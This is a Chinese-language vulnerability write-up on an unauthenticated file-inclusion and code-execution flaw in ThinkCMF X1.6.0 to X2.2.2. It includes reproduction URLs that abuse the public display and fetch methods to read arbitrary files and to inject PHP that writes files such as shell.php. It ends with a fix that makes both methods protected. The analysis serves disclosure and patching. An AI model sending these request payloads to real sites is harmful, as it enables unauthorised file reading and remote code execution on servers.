漏洞名称: ThinkCMF框架上的任意内容包含漏洞
漏洞危害: 远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码
漏洞影响:
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
复现过程:
url/?a=display&templateFile=README.md
url?a=fetch&templateFile=public/index&content=<php>file_put_contents('test.php','')</php>
空白页面
url/test.php
漏洞分析:
实际上此漏洞的产生的原因是:
thinkcmf是给予tinkphp再开发的,他有一些thinkphp的特性,例如可以通过g\m\a参数指定分组\控制器\方法,这里可以通过a参数直接调用Portal\IndexController父类(HomebaseController)中的一些权限为public的方法。
而display和fetch函数的修饰符为公有
进入index.php
找到项目路径为application
进入入口分组的控制器类(即:application\Portal\Controller)
IndexController.class.php
此类文件里面只有一个display函数,跟进display函数,打开父类HomebaseController
漏洞发生在display函数和fetch函数
首先是display函数:
/**
* 加载模板和页面输出 可以返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @return mixed
*/
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
}
此函数的作用是显示模块,参数可选
这里没有对传入的文件名做任何过滤,已经存在了文件包含
直接可用index.php?a=display&templateFile=文件名
就已经能读任意文件了
fetch函数:
/**
* 获取输出页面内容
* 调用内置的模板引擎fetch方法,
* @access protected
* @param string $templateFile 指定要调用的模板文件
* 默认为空 由系统自动定位模板文件
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀*
* @return string
*/
public function fetch($templateFile='',$content='',$prefix=''){
$templateFile = empty($content)?$this->parseTemplate($templateFile):'';
return parent::fetch($templateFile,$content,$prefix);
}
由于thinkcmf基于thinkphp,而thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入(对于模板注入的理解可参见:https://www.jianshu.com/p/aef2ae0498df)
并且fetch函数参数也是可选的,这里注意templateFile参数不可选,不然会返回空,若templateFile=public/index,(对于public/index,之后再补充)则我们传入的文件在网站根目录
所以我们可以直接构造:
?a=fetch&templateFile=public/index&content= file_put_contents("shell.php","");?>
执行完成之后是一片空白,直接访问url/shell.php便能得到php配置信息
修复方案:
将漏洞发生的两个函数display和fetch两个函数修饰符改为protect